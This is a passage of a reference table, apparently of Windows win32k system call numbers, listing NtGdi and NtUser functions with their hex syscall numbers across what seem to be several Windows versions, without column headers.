NtGdiRemoveFontMemResourceEx |  |  |  |  |  |  |  0x10f1  |  |  0x10f1  |  |  0x10f9  |  0x10f9  |  0x10f9  |  |  0x10f8  |  0x10f8  |  0x1101  |  0x1101  |  0x1101  |  |  0x1101  |  |  0x1103   
NtGdiRemoveFontResourceW |  |  |  |  0x10bb  |  |  |  0x10f0  |  |  0x10f0  |  |  0x10f8  |  0x10f8  |  0x10f8  |  |  0x10f7  |  0x10f7  |  0x1100  |  0x1100  |  0x1100  |  |  0x1100  |  |  0x1102   
NtGdiRemoveMergeFont |  |  |  |  |  |  |  0x1005  |  |  0x1005  |  |  0x1005  |  0x1005  |  0x1005  |  |  0x1005  |  0x1005  |  0x1005  |  0x1005  |  0x1005  |  |  0x1005  |  |  0x1005   
NtGdiResetDC |  |  |  |  0x10bc  |  |  |  0x10f2  |  |  0x10f2  |  |  0x10fa  |  0x10fa  |  0x10fa  |  |  0x10f9  |  0x10f9  |  0x1102  |  0x1102  |  0x1102  |  |  0x1102  |  |  0x1104   
NtGdiResizePalette |  |  |  |  0x10bd  |  |  |  0x10f3  |  |  0x10f3  |  |  0x10fb  |  0x10fb  |  0x10fb  |  |  0x10fa  |  0x10fa  |  0x1103  |  0x1103  |  0x1103  |  |  0x1103  |  |  0x1105   
NtGdiRestoreDC |  |  |  |  0x10be  |  |  |  0x10f4  |  |  0x10f4  |  |  0x10fc  |  0x10fc  |  0x10fc  |  |  0x10fb  |  0x10fb  |  0x1104  |  0x1104  |  0x1104  |  |  0x1104  |  |  0x1106   
NtGdiRoundRect |  |  |  |  0x10bf  |  |  |  0x10f5  |  |  0x10f5  |  |  0x10fd  |  0x10fd  |  0x10fd  |  |  0x10fc  |  0x10fc  |  0x1105  |  0x1105  |  0x1105  |  |  0x1105  |  |  0x1107   
NtGdiSTROBJ\_bEnum |  |  |  |  |  |  |  0x1270  |  |  0x1270  |  |  0x1288  |  0x1288  |  0x1288  |  |  0x1284  |  0x1284  |  0x12a9  |  0x12a9  |  0x12a9  |  |  0x12a9  |  |  0x12c9   
NtGdiSTROBJ\_bEnumPositionsOnly |  |  |  |  |  |  |  0x1271  |  |  0x1271  |  |  0x1289  |  0x1289  |  0x1289  |  |  0x1285  |  0x1285  |  0x12aa  |  0x12aa  |  0x12aa  |  |  0x12aa  |  |  0x12ca   
NtGdiSTROBJ\_bGetAdvanceWidths |  |  |  |  |  |  |  0x1272  |  |  0x1272  |  |  0x128a  |  0x128a  |  0x128a  |  |  0x1286  |  0x1286  |  0x12ab  |  0x12ab  |  0x12ab  |  |  0x12ab  |  |  0x12cb   
NtGdiSTROBJ\_dwGetCodePage |  |  |  |  |  |  |  0x1274  |  |  0x1274  |  |  0x128c  |  0x128c  |  0x128c  |  |  0x1288  |  0x1288  |  0x12ad  |  0x12ad  |  0x12ad  |  |  0x12ad  |  |  0x12cd   
NtGdiSTROBJ\_vEnumStart |  |  |  |  |  |  |  0x1273  |  |  0x1273  |  |  0x128b  |  0x128b  |  0x128b  |  |  0x1287  |  0x1287  |  0x12ac  |  0x12ac  |  0x12ac  |  |  0x12ac  |  |  0x12cc   
NtGdiSaveDC |  |  |  |  0x10c0  |  |  |  0x10f6  |  |  0x10f6  |  |  0x10fe  |  0x10fe  |  0x10fe  |  |  0x10fd  |  0x10fd  |  0x1106  |  0x1106  |  0x1106  |  |  0x1106  |  |  0x1108   
NtGdiScaleViewportExtEx |  |  |  |  0x10c1  |  |  |  0x10f7  |  |  0x10f7  |  |  0x10ff  |  0x10ff  |  0x10ff  |  |  0x10fe  |  0x10fe  |  0x1107  |  0x1107  |  0x1107  |  |  0x1107  |  |  0x1109   
NtGdiScaleWindowExtEx |  |  |  |  0x10c2  |  |  |  0x10f8  |  |  0x10f8  |  |  0x1100  |  0x1100  |  0x1100  |  |  0x10ff  |  0x10ff  |  0x1108  |  0x1108  |  0x1108  |  |  0x1108  |  |  0x110a   
NtGdiSelectBitmap |  |  |  |  0x10c3  |  |  |  0x10f9  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiSelectBrush |  |  |  |  0x10c4  |  |  |  0x10fa  |  |  0x10fa  |  |  0x1102  |  0x1102  |  0x1102  |  |  0x1101  |  0x1101  |  0x110a  |  0x110a  |  0x110a  |  |  0x110a  |  |  0x110c   
NtGdiSelectClipPath |  |  |  |  0x10c5  |  |  |  0x10fb  |  |  0x10fb  |  |  0x1103  |  0x1103  |  0x1103  |  |  0x1102  |  0x1102  |  0x110b  |  0x110b  |  0x110b  |  |  0x110b  |  |  0x110d   
NtGdiSelectFont |  |  |  |  0x10c6  |  |  |  0x10fc  |  |  0x10fc  |  |  0x1104  |  0x1104  |  0x1104  |  |  0x1103  |  0x1103  |  0x110c  |  0x110c  |  0x110c  |  |  0x110c  |  |  0x110e   
NtGdiSelectPalette |  |  |  |  0x10c7  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiSelectPen |  |  |  |  0x10c8  |  |  |  0x10fd  |  |  0x10fd  |  |  0x1105  |  0x1105  |  0x1105  |  |  0x1104  |  0x1104  |  0x110d  |  0x110d  |  0x110d  |  |  0x110d  |  |  0x110f   
NtGdiSetBitmapAttributes |  |  |  |  |  |  |  |  |  |  |  0x1106  |  0x1106  |  0x1106  |  |  0x1105  |  0x1105  |  0x110e  |  0x110e  |  0x110e  |  |  0x110e  |  |  0x1110   
NtGdiSetBitmapBits |  |  |  |  0x10c9  |  |  |  0x10fe  |  |  0x10fe  |  |  0x1107  |  0x1107  |  0x1107  |  |  0x1106  |  0x1106  |  0x110f  |  0x110f  |  0x110f  |  |  0x110f  |  |  0x1111   
NtGdiSetBitmapDimension |  |  |  |  0x10ca  |  |  |  0x10ff  |  |  0x10ff  |  |  0x1108  |  0x1108  |  0x1108  |  |  0x1107  |  0x1107  |  0x1110  |  0x1110  |  0x1110  |  |  0x1110  |  |  0x1112   
NtGdiSetBoundsRect |  |  |  |  0x10cb  |  |  |  0x1100  |  |  0x1100  |  |  0x1109  |  0x1109  |  0x1109  |  |  0x1108  |  0x1108  |  0x1111  |  0x1111  |  0x1111  |  |  0x1111  |  |  0x1113   
NtGdiSetBrushAttributes |  |  |  |  |  |  |  |  |  |  |  0x110a  |  0x110a  |  0x110a  |  |  0x1109  |  0x1109  |  0x1112  |  0x1112  |  0x1112  |  |  0x1112  |  |  0x1114   
NtGdiSetBrushOrg |  |  |  |  0x10cc  |  |  |  0x1101  |  |  0x1101  |  |  0x110b  |  0x110b  |  0x110b  |  |  0x110a  |  0x110a  |  0x1113  |  0x1113  |  0x1113  |  |  0x1113  |  |  0x1115   
NtGdiSetColorAdjustment |  |  |  |  0x10cd  |  |  |  0x1102  |  |  0x1102  |  |  0x110c  |  0x110c  |  0x110c  |  |  0x110b  |  0x110b  |  0x1114  |  0x1114  |  0x1114  |  |  0x1114  |  |  0x1116   
NtGdiSetColorSpace |  |  |  |  |  |  |  0x1103  |  |  0x1103  |  |  0x110d  |  0x110d  |  0x110d  |  |  0x110c  |  0x110c  |  0x1115  |  0x1115  |  0x1115  |  |  0x1115  |  |  0x1117   
NtGdiSetDIBitsToDeviceInternal |  |  |  |  0x10ce  |  |  |  0x1105  |  |  0x1105  |  |  0x110f  |  0x110f  |  0x110f  |  |  0x110e  |  0x110e  |  0x1117  |  0x1117  |  0x1117  |  |  0x1117  |  |  0x1119   
NtGdiSetDeviceGammaRamp |  |  |  |  |  |  |  0x1104  |  |  0x1104  |  |  0x110e  |  0x110e  |  0x110e  |  |  0x110d  |  0x110d  |  0x1116  |  0x1116  |  0x1116  |  |  0x1116  |  |  0x1118   
NtGdiSetFontEnumeration |  |  |  |  0x10cf  |  |  |  0x1106  |  |  0x1106  |  |  0x1110  |  0x1110  |  0x1110  |  |  0x110f  |  0x110f  |  0x1118  |  0x1118  |  0x1118  |  |  0x1118  |  |  0x111a   
NtGdiSetFontXform |  |  |  |  0x10d0  |  |  |  0x1107  |  |  0x1107  |  |  0x1111  |  0x1111  |  0x1111  |  |  0x1110  |  0x1110  |  0x1119  |  0x1119  |  0x1119  |  |  0x1119  |  |  0x111b   
NtGdiSetIcmMode |  |  |  |  |  |  |  0x1108  |  |  0x1108  |  |  0x1112  |  0x1112  |  0x1112  |  |  0x1111  |  0x1111  |  0x111a  |  0x111a  |  0x111a  |  |  0x111a  |  |  0x111c   
NtGdiSetLayout |  |  |  |  |  |  |  0x110f  |  |  0x110f  |  |  0x1119  |  0x1119  |  0x1119  |  |  0x1118  |  0x1118  |  0x1121  |  0x1121  |  0x1121  |  |  0x1121  |  |  0x1123   
NtGdiSetLinkedUFIs |  |  |  |  |  |  |  0x1109  |  |  0x1109  |  |  0x1113  |  0x1113  |  0x1113  |  |  0x1112  |  0x1112  |  0x111b  |  0x111b  |  0x111b  |  |  0x111b  |  |  0x111d   
NtGdiSetMagicColors |  |  |  |  0x10d1  |  |  |  0x110a  |  |  0x110a  |  |  0x1114  |  0x1114  |  0x1114  |  |  0x1113  |  0x1113  |  0x111c  |  0x111c  |  0x111c  |  |  0x111c  |  |  0x111e   
NtGdiSetMetaRgn |  |  |  |  0x10d2  |  |  |  0x110b  |  |  0x110b  |  |  0x1115  |  0x1115  |  0x1115  |  |  0x1114  |  0x1114  |  0x111d  |  0x111d  |  0x111d  |  |  0x111d  |  |  0x111f   
NtGdiSetMiterLimit |  |  |  |  0x10d3  |  |  |  0x110c  |  |  0x110c  |  |  0x1116  |  0x1116  |  0x1116  |  |  0x1115  |  0x1115  |  0x111e  |  0x111e  |  0x111e  |  |  0x111e  |  |  0x1120   
NtGdiSetOPMSigningKeyAndSequenceNumbers |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1122  |  0x1122  |  0x1122  |  |  0x1122  |  |  0x1124   
NtGdiSetPUMPDOBJ |  |  |  |  |  |  |  |  |  |  |  0x1297  |  0x1297  |  0x1297  |  |  0x1293  |  0x1293  |  0x12b8  |  0x12b8  |  0x12b8  |  |  0x12b8  |  |  0x12d8   
NtGdiSetPixel |  |  |  |  0x10d4  |  |  |  0x1110  |  |  0x1110  |  |  0x111a  |  0x111a  |  0x111a  |  |  0x1119  |  0x1119  |  0x1123  |  0x1123  |  0x1123  |  |  0x1123  |  |  0x1125   
NtGdiSetPixelFormat |  |  |  |  0x10d5  |  |  |  0x1111  |  |  0x1111  |  |  0x111b  |  0x111b  |  0x111b  |  |  0x111a  |  0x111a  |  0x1124  |  0x1124  |  0x1124  |  |  0x1124  |  |  0x1126   
NtGdiSetRectRgn |  |  |  |  0x10d6  |  |  |  0x1112  |  |  0x1112  |  |  0x111c  |  0x111c  |  0x111c  |  |  0x111b  |  0x111b  |  0x1125  |  0x1125  |  0x1125  |  |  0x1125  |  |  0x1127   
NtGdiSetSizeDevice |  |  |  |  |  |  |  0x1117  |  |  0x1117  |  |  0x1121  |  0x1121  |  0x1121  |  |  0x1120  |  0x1120  |  0x112a  |  0x112a  |  0x112a  |  |  0x112a  |  |  0x112b   
NtGdiSetSystemPaletteUse |  |  |  |  0x10d7  |  |  |  0x1113  |  |  0x1113  |  |  0x111d  |  0x111d  |  0x111d  |  |  0x111c  |  0x111c  |  0x1126  |  0x1126  |  0x1126  |  |  0x1126  |  |  0x1128   
NtGdiSetTextCharacterExtra |  |  |  |  0x10d8  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiSetTextJustification |  |  |  |  0x10d9  |  |  |  0x1114  |  |  0x1114  |  |  0x111e  |  0x111e  |  0x111e  |  |  0x111d  |  0x111d  |  0x1127  |  0x1127  |  0x1127  |  |  0x1127  |  |  0x1129   
NtGdiSetVirtualResolution |  |  |  |  0x10db  |  |  |  0x1116  |  |  0x1116  |  |  0x1120  |  0x1120  |  0x1120  |  |  0x111f  |  0x111f  |  0x1129  |  0x1129  |  0x1129  |  |  0x1129  |  |  0x112a   
NtGdiSetupPublicCFONT |  |  |  |  0x10da  |  |  |  0x1115  |  |  0x1115  |  |  0x111f  |  0x111f  |  0x111f  |  |  0x111e  |  0x111e  |  0x1128  |  0x1128  |  0x1128  |  |  0x1128  |  |   
NtGdiSfmGetNotificationTokens |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12dc   
NtGdiStartDoc |  |  |  |  0x10dc  |  |  |  0x1118  |  |  0x1118  |  |  0x1122  |  0x1122  |  0x1122  |  |  0x1121  |  0x1121  |  0x112b  |  0x112b  |  0x112b  |  |  0x112b  |  |  0x112c   
NtGdiStartPage |  |  |  |  0x10dd  |  |  |  0x1119  |  |  0x1119  |  |  0x1123  |  0x1123  |  0x1123  |  |  0x1122  |  0x1122  |  0x112c  |  0x112c  |  0x112c  |  |  0x112c  |  |  0x112d   
NtGdiStretchBlt |  |  |  |  0x10de  |  |  |  0x111a  |  |  0x111a  |  |  0x1124  |  0x1124  |  0x1124  |  |  0x1123  |  0x1123  |  0x112d  |  0x112d  |  0x112d  |  |  0x112d  |  |  0x112e   
NtGdiStretchDIBitsInternal |  |  |  |  0x10df  |  |  |  0x111b  |  |  0x111b  |  |  0x1125  |  0x1125  |  0x1125  |  |  0x1124  |  0x1124  |  0x112e  |  0x112e  |  0x112e  |  |  0x112e  |  |  0x112f   
NtGdiStrokeAndFillPath |  |  |  |  0x10e0  |  |  |  0x111c  |  |  0x111c  |  |  0x1126  |  0x1126  |  0x1126  |  |  0x1125  |  0x1125  |  0x112f  |  0x112f  |  0x112f  |  |  0x112f  |  |  0x1130   
NtGdiStrokePath |  |  |  |  0x10e1  |  |  |  0x111d  |  |  0x111d  |  |  0x1127  |  0x1127  |  0x1127  |  |  0x1126  |  0x1126  |  0x1130  |  0x1130  |  0x1130  |  |  0x1130  |  |  0x1131   
NtGdiSwapBuffers |  |  |  |  0x10e2  |  |  |  0x111e  |  |  0x111e  |  |  0x1128  |  0x1128  |  0x1128  |  |  0x1127  |  0x1127  |  0x1131  |  0x1131  |  0x1131  |  |  0x1131  |  |  0x1132   
NtGdiTransformPoints |  |  |  |  0x10e3  |  |  |  0x111f  |  |  0x111f  |  |  0x1129  |  0x1129  |  0x1129  |  |  0x1128  |  0x1128  |  0x1132  |  0x1132  |  0x1132  |  |  0x1132  |  |  0x1133   
NtGdiTransparentBlt |  |  |  |  |  |  |  0x1120  |  |  0x1120  |  |  0x112a  |  0x112a  |  0x112a  |  |  0x1129  |  0x1129  |  0x1133  |  0x1133  |  0x1133  |  |  0x1133  |  |  0x1134   
NtGdiUnloadPrinterDriver |  |  |  |  |  |  |  0x1121  |  |  0x1121  |  |  0x112b  |  0x112b  |  0x112b  |  |  0x112a  |  0x112a  |  |  |  |  |  |  |   
NtGdiUnmapMemFont |  |  |  |  |  |  |  0x1122  |  |  0x1122  |  |  0x1299  |  0x1299  |  0x1299  |  |  0x1295  |  0x1295  |  0x12ba  |  0x12ba  |  0x12ba  |  |  0x12ba  |  |  0x12da   
NtGdiUnrealizeObject |  |  |  |  0x10e4  |  |  |  0x1123  |  |  0x1123  |  |  0x112d  |  0x112d  |  0x112d  |  |  0x112c  |  0x112c  |  0x1136  |  0x1136  |  0x1136  |  |  0x1136  |  |  0x1137   
NtGdiUpdateColors |  |  |  |  0x10e5  |  |  |  0x1124  |  |  0x1124  |  |  0x112e  |  0x112e  |  0x112e  |  |  0x112d  |  0x112d  |  0x1137  |  0x1137  |  0x1137  |  |  0x1137  |  |  0x1138   
NtGdiUpdateTransform |  |  |  |  0x10e7  |  |  |  0x127e  |  |  0x127e  |  |  0x1296  |  0x1296  |  0x1296  |  |  0x1292  |  0x1292  |  0x12b7  |  0x12b7  |  0x12b7  |  |  0x12b7  |  |  0x12d7   
NtGdiWidenPath |  |  |  |  0x10e6  |  |  |  0x1125  |  |  0x1125  |  |  0x112f  |  0x112f  |  0x112f  |  |  0x112e  |  0x112e  |  0x1138  |  0x1138  |  0x1138  |  |  0x1138  |  |  0x1139   
NtGdiXFORMOBJ\_bApplyXform |  |  |  |  |  |  |  0x1266  |  |  0x1266  |  |  0x127e  |  0x127e  |  0x127e  |  |  0x127a  |  0x127a  |  0x129f  |  0x129f  |  0x129f  |  |  0x129f  |  |  0x12bf   
NtGdiXFORMOBJ\_iGetXform |  |  |  |  |  |  |  0x1267  |  |  0x1267  |  |  0x127f  |  0x127f  |  0x127f  |  |  0x127b  |  0x127b  |  0x12a0  |  0x12a0  |  0x12a0  |  |  0x12a0  |  |  0x12c0   
NtGdiXLATEOBJ\_cGetPalette |  |  |  |  |  |  |  0x1259  |  |  0x1259  |  |  0x1271  |  0x1271  |  0x1271  |  |  0x126d  |  0x126d  |  0x1292  |  0x1292  |  0x1292  |  |  0x1292  |  |  0x12b2   
NtGdiXLATEOBJ\_hGetColorTransform |  |  |  |  |  |  |  0x125b  |  |  0x125b  |  |  0x1273  |  0x1273  |  0x1273  |  |  0x126f  |  0x126f  |  0x1294  |  0x1294  |  0x1294  |  |  0x1294  |  |  0x12b4   
NtGdiXLATEOBJ\_iXlate |  |  |  |  |  |  |  0x125a  |  |  0x125a  |  |  0x1272  |  0x1272  |  0x1272  |  |  0x126e  |  0x126e  |  0x1293  |  0x1293  |  0x1293  |  |  0x1293  |  |  0x12b3   
NtUserActivateKeyboardLayout |  |  |  |  0x10e8  |  |  |  0x1126  |  |  0x1126  |  |  0x1130  |  0x1130  |  0x1130  |  |  0x112f  |  0x112f  |  0x1139  |  0x1139  |  0x1139  |  |  0x1139  |  |  0x113a   
NtUserAddClipboardFormatListener |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x113a  |  0x113a  |  0x113a  |  |  0x113a  |  |  0x113b   
NtUserAlterWindowStyle |  |  |  |  0x10e9  |  |  |  0x1127  |  |  0x1127  |  |  0x1131  |  0x1131  |  0x1131  |  |  0x1130  |  0x1130  |  0x113b  |  0x113b  |  0x113b  |  |  0x113b  |  |  0x113c   
NtUserAssociateInputContext |  |  |  |  |  |  |  0x1128  |  |  0x1128  |  |  0x1132  |  0x1132  |  0x1132  |  |  0x1131  |  0x1131  |  0x113c  |  0x113c  |  0x113c  |  |  0x113c  |  |  0x113d   
NtUserAttachThreadInput |  |  |  |  0x10ea  |  |  |  0x1129  |  |  0x1129  |  |  0x1133  |  0x1133  |  0x1133  |  |  0x1132  |  0x1132  |  0x113d  |  0x113d  |  0x113d  |  |  0x113d  |  |  0x113e   
NtUserBeginPaint |  |  |  |  0x10eb  |  |  |  0x112a  |  |  0x112a  |  |  0x1134  |  0x1134  |  0x1134  |  |  0x1133  |  0x1133  |  0x113e  |  0x113e  |  0x113e  |  |  0x113e  |  |  0x113f   
NtUserBitBltSysBmp |  |  |  |  0x10ec  |  |  |  0x112b  |  |  0x112b  |  |  0x1135  |  0x1135  |  0x1135  |  |  0x1134  |  0x1134  |  0x113f  |  0x113f  |  0x113f  |  |  0x113f  |  |  0x1140   
NtUserBlockInput |  |  |  |  |  |  |  0x112c  |  |  0x112c  |  |  0x1136  |  0x1136  |  0x1136  |  |  0x1135  |  0x1135  |  0x1140  |  0x1140  |  0x1140  |  |  0x1140  |  |  0x1141   
NtUserBreak |  |  |  |  0x10ed  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserBuildHimcList |  |  |  |  |  |  |  0x112d  |  |  0x112d  |  |  0x1137  |  0x1137  |  0x1137  |  |  0x1136  |  0x1136  |  0x1141  |  0x1141  |  0x1141  |  |  0x1141  |  |  0x1142   
NtUserBuildHwndList |  |  |  |  0x10ee  |  |  |  0x112e  |  |  0x112e  |  |  0x1138  |  0x1138  |  0x1138  |  |  0x1137  |  0x1137  |  0x1142  |  0x1142  |  0x1142  |  |  0x1142  |  |  0x1143   
NtUserBuildNameList |  |  |  |  0x10ef  |  |  |  0x112f  |  |  0x112f  |  |  0x1139  |  0x1139  |  0x1139  |  |  0x1138  |  0x1138  |  0x1143  |  0x1143  |  0x1143  |  |  0x1143  |  |  0x1144   
NtUserBuildPropList |  |  |  |  0x10f0  |  |  |  0x1130  |  |  0x1130  |  |  0x113a  |  0x113a  |  0x113a  |  |  0x1139  |  0x1139  |  0x1144  |  0x1144  |  0x1144  |  |  0x1144  |  |  0x1145   
NtUserCalcMenuBar |  |  |  |  |  |  |  |  |  |  |  0x1236  |  0x1236  |  0x1236  |  |  0x1232  |  0x1232  |  0x124e  |  0x124e  |  0x124e  |  |  0x124e  |  |  0x125b   
NtUserCalculatePopupWindowPosition |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x125a   
NtUserCallHwnd |  |  |  |  0x10f1  |  |  |  0x1131  |  |  0x1131  |  |  0x113b  |  0x113b  |  0x113b  |  |  0x113a  |  0x113a  |  0x1145  |  0x1145  |  0x1145  |  |  0x1145  |  |  0x1146   
NtUserCallHwndLock |  |  |  |  0x10f2  |  |  |  0x1132  |  |  0x1132  |  |  0x113c  |  0x113c  |  0x113c  |  |  0x113b  |  0x113b  |  0x1146  |  0x1146  |  0x1146  |  |  0x1146  |  |  0x1147   
NtUserCallHwndOpt |  |  |  |  0x10f3  |  |  |  0x1133  |  |  0x1133  |  |  0x113d  |  0x113d  |  0x113d  |  |  0x113c  |  0x113c  |  0x1147  |  0x1147  |  0x1147  |  |  0x1147  |  |  0x1148   
NtUserCallHwndParam |  |  |  |  0x10f4  |  |  |  0x1134  |  |  0x1134  |  |  0x113e  |  0x113e  |  0x113e  |  |  0x113d  |  0x113d  |  0x1148  |  0x1148  |  0x1148  |  |  0x1148  |  |  0x1149   
NtUserCallHwndParamLock |  |  |  |  0x10f5  |  |  |  0x1135  |  |  0x1135  |  |  0x113f  |  0x113f  |  0x113f  |  |  0x113e  |  0x113e  |  0x1149  |  0x1149  |  0x1149  |  |  0x1149  |  |  0x114a   
NtUserCallMsgFilter |  |  |  |  0x10f6  |  |  |  0x1136  |  |  0x1136  |  |  0x1140  |  0x1140  |  0x1140  |  |  0x113f  |  0x113f  |  0x114a  |  0x114a  |  0x114a  |  |  0x114a  |  |  0x114b   
NtUserCallNextHookEx |  |  |  |  |  |  |  0x1137  |  |  0x1137  |  |  0x1141  |  0x1141  |  0x1141  |  |  0x1140  |  0x1140  |  0x114b  |  0x114b  |  0x114b  |  |  0x114b  |  |  0x114c   
NtUserCallNoParam |  |  |  |  0x10f7  |  |  |  0x1138  |  |  0x1138  |  |  0x1142  |  0x1142  |  0x1142  |  |  0x1141  |  0x1141  |  0x114c  |  0x114c  |  0x114c  |  |  0x114c  |  |  0x114d   
NtUserCallNoParamTranslate |  |  |  |  0x10f8  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserCallOneParam |  |  |  |  0x10f9  |  |  |  0x1139  |  |  0x1139  |  |  0x1143  |  0x1143  |  0x1143  |  |  0x1142  |  0x1142  |  0x114d  |  0x114d  |  0x114d  |  |  0x114d  |  |  0x114e   
NtUserCallOneParamTranslate |  |  |  |  0x10fa  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserCallTwoParam |  |  |  |  0x10fb  |  |  |  0x113a  |  |  0x113a  |  |  0x1144  |  0x1144  |  0x1144  |  |  0x1143  |  0x1143  |  0x114e  |  0x114e  |  0x114e  |  |  0x114e  |  |  0x114f   
NtUserChangeClipboardChain |  |  |  |  0x10fc  |  |  |  0x113b  |  |  0x113b  |  |  0x1145  |  0x1145  |  0x1145  |  |  0x1144  |  0x1144  |  0x114f  |  0x114f  |  0x114f  |  |  0x114f  |  |  0x1150   
NtUserChangeDisplaySettings |  |  |  |  0x10fd  |  |  |  0x113c  |  |  0x113c  |  |  0x1146  |  0x1146  |  0x1146  |  |  0x1145  |  0x1145  |  0x1150  |  0x1150  |  0x1150  |  |  0x1150  |  |  0x1151   
NtUserChangeWindowMessageFilterEx |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1291   
NtUserCheckAccessForIntegrityLevel |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1151  |  0x1151  |  0x1151  |  |  0x1151  |  |  0x1157   
NtUserCheckDesktopByThreadId |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1152  |  0x1152  |  0x1152  |  |  0x1152  |  |  0x1158   
NtUserCheckImeHotKey |  |  |  |  |  |  |  0x113d  |  |  0x113d  |  |  0x1147  |  0x1147  |  0x1147  |  |  0x1146  |  0x1146  |  0x1154  |  0x1154  |  0x1154  |  |  0x1154  |  |   
NtUserCheckMenuItem |  |  |  |  0x10fe  |  |  |  0x113e  |  |  0x113e  |  |  0x1148  |  0x1148  |  0x1148  |  |  0x1147  |  0x1147  |  0x1155  |  0x1155  |  0x1155  |  |  0x1155  |  |  0x115a   
NtUserCheckMenuRadioItem |  |  |  |  0x10ff  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserCheckWindowThreadDesktop |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1153  |  0x1153  |  0x1153  |  |  0x1153  |  |  0x1159   
NtUserChildWindowFromPointEx |  |  |  |  0x1100  |  |  |  0x113f  |  |  0x113f  |  |  0x1149  |  0x1149  |  0x1149  |  |  0x1148  |  0x1148  |  0x1156  |  0x1156  |  0x1156  |  |  0x1156  |  |  0x115b   
NtUserClipCursor |  |  |  |  0x1101  |  |  |  0x1140  |  |  0x1140  |  |  0x114a  |  0x114a  |  0x114a  |  |  0x1149  |  0x1149  |  0x1157  |  0x1157  |  0x1157  |  |  0x1157  |  |  0x115c   
NtUserCloseClipboard |  |  |  |  |  |  |  0x1141  |  |  0x1141  |  |  0x114b  |  0x114b  |  0x114b  |  |  0x114a  |  0x114a  |  0x1158  |  0x1158  |  0x1158  |  |  0x1158  |  |  0x115d   
NtUserCloseDesktop |  |  |  |  0x1102  |  |  |  0x1142  |  |  0x1142  |  |  0x114c  |  0x114c  |  0x114c  |  |  0x114b  |  0x114b  |  0x1159  |  0x1159  |  0x1159  |  |  0x1159  |  |  0x115e   
NtUserCloseWindowStation |  |  |  |  0x1103  |  |  |  0x1143  |  |  0x1143  |  |  0x114d  |  0x114d  |  0x114d  |  |  0x114c  |  0x114c  |  0x115a  |  0x115a  |  0x115a  |  |  0x115a  |  |  0x115f   
NtUserConsoleControl |  |  |  |  0x1104  |  |  |  0x1144  |  |  0x1144  |  |  0x114e  |  0x114e  |  0x114e  |  |  0x114d  |  0x114d  |  0x115b  |  0x115b  |  0x115b  |  |  0x115b  |  |  0x1160   
NtUserConvertMemHandle |  |  |  |  0x1105  |  |  |  0x1145  |  |  0x1145  |  |  0x114f  |  0x114f  |  0x114f  |  |  0x114e  |  0x114e  |  0x115c  |  0x115c  |  0x115c  |  |  0x115c  |  |  0x1161   
NtUserCopyAcceleratorTable |  |  |  |  0x1106  |  |  |  0x1146  |  |  0x1146  |  |  0x1150  |  0x1150  |  0x1150  |  |  0x114f  |  0x114f  |  0x115d  |  0x115d  |  0x115d  |  |  0x115d  |  |  0x1162   
NtUserCountClipboardFormats |  |  |  |  0x1107  |  |  |  0x1147  |  |  0x1147  |  |  0x1151  |  0x1151  |  0x1151  |  |  0x1150  |  0x1150  |  0x115e  |  0x115e  |  0x115e  |  |  0x115e  |  |  0x1163   
NtUserCreateAcceleratorTable |  |  |  |  0x1108  |  |  |  0x1148  |  |  0x1148  |  |  0x1152  |  0x1152  |  0x1152  |  |  0x1151  |  0x1151  |  0x115f  |  0x115f  |  0x115f  |  |  0x115f  |  |  0x1164   
NtUserCreateCaret |  |  |  |  0x1109  |  |  |  0x1149  |  |  0x1149  |  |  0x1153  |  0x1153  |  0x1153  |  |  0x1152  |  0x1152  |  0x1160  |  0x1160  |  0x1160  |  |  0x1160  |  |  0x1165   
NtUserCreateDesktop |  |  |  |  0x110a  |  |  |  0x114a  |  |  0x114a  |  |  0x1154  |  0x1154  |  0x1154  |  |  0x1153  |  0x1153  |  |  |  |  |  |  |   
NtUserCreateDesktopEx |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1161  |  0x1161  |  0x1161  |  |  0x1161  |  |  0x1166   
NtUserCreateInputContext |  |  |  |  |  |  |  0x114b  |  |  0x114b  |  |  0x1155  |  0x1155  |  0x1155  |  |  0x1154  |  0x1154  |  0x1162  |  0x1162  |  0x1162  |  |  0x1162  |  |  0x1167   
NtUserCreateLocalMemHandle |  |  |  |  0x110b  |  |  |  0x114c  |  |  0x114c  |  |  0x1156  |  0x1156  |  0x1156  |  |  0x1155  |  0x1155  |  0x1163  |  0x1163  |  0x1163  |  |  0x1163  |  |  0x1168   
NtUserCreateWindowEx |  |  |  |  0x110c  |  |  |  0x114d  |  |  0x114d  |  |  0x1157  |  0x1157  |  0x1157  |  |  0x1156  |  0x1156  |  0x1164  |  0x1164  |  0x1164  |  |  0x1164  |  |  0x1169   
NtUserCreateWindowStation |  |  |  |  0x110d  |  |  |  0x114e  |  |  0x114e  |  |  0x1158  |  0x1158  |  0x1158  |  |  0x1157  |  0x1157  |  0x1165  |  0x1165  |  0x1165  |  |  0x1165  |  |  0x116a   
NtUserCtxDisplayIOCtl |  |  |  |  |  |  |  0x123e  |  |  0x123e  |  |  0x1256  |  0x1256  |  0x1256  |  |  0x1252  |  0x1252  |  0x126f  |  0x126f  |  0x126f  |  |  0x126f  |  |  0x127b   
NtUserDdeGetQualityOfService |  |  |  |  0x110e  |  |  |  0x114f  |  |  0x114f  |  |  0x1159  |  0x1159  |  0x1159  |  |  0x1158  |  0x1158  |  |  |  |  |  |  |   
NtUserDdeInitialize |  |  |  |  0x110f  |  |  |  0x1150  |  |  0x1150  |  |  0x115a  |  0x115a  |  0x115a  |  |  0x1159  |  0x1159  |  0x1166  |  0x1166  |  0x1166  |  |  0x1166  |  |  0x116b   
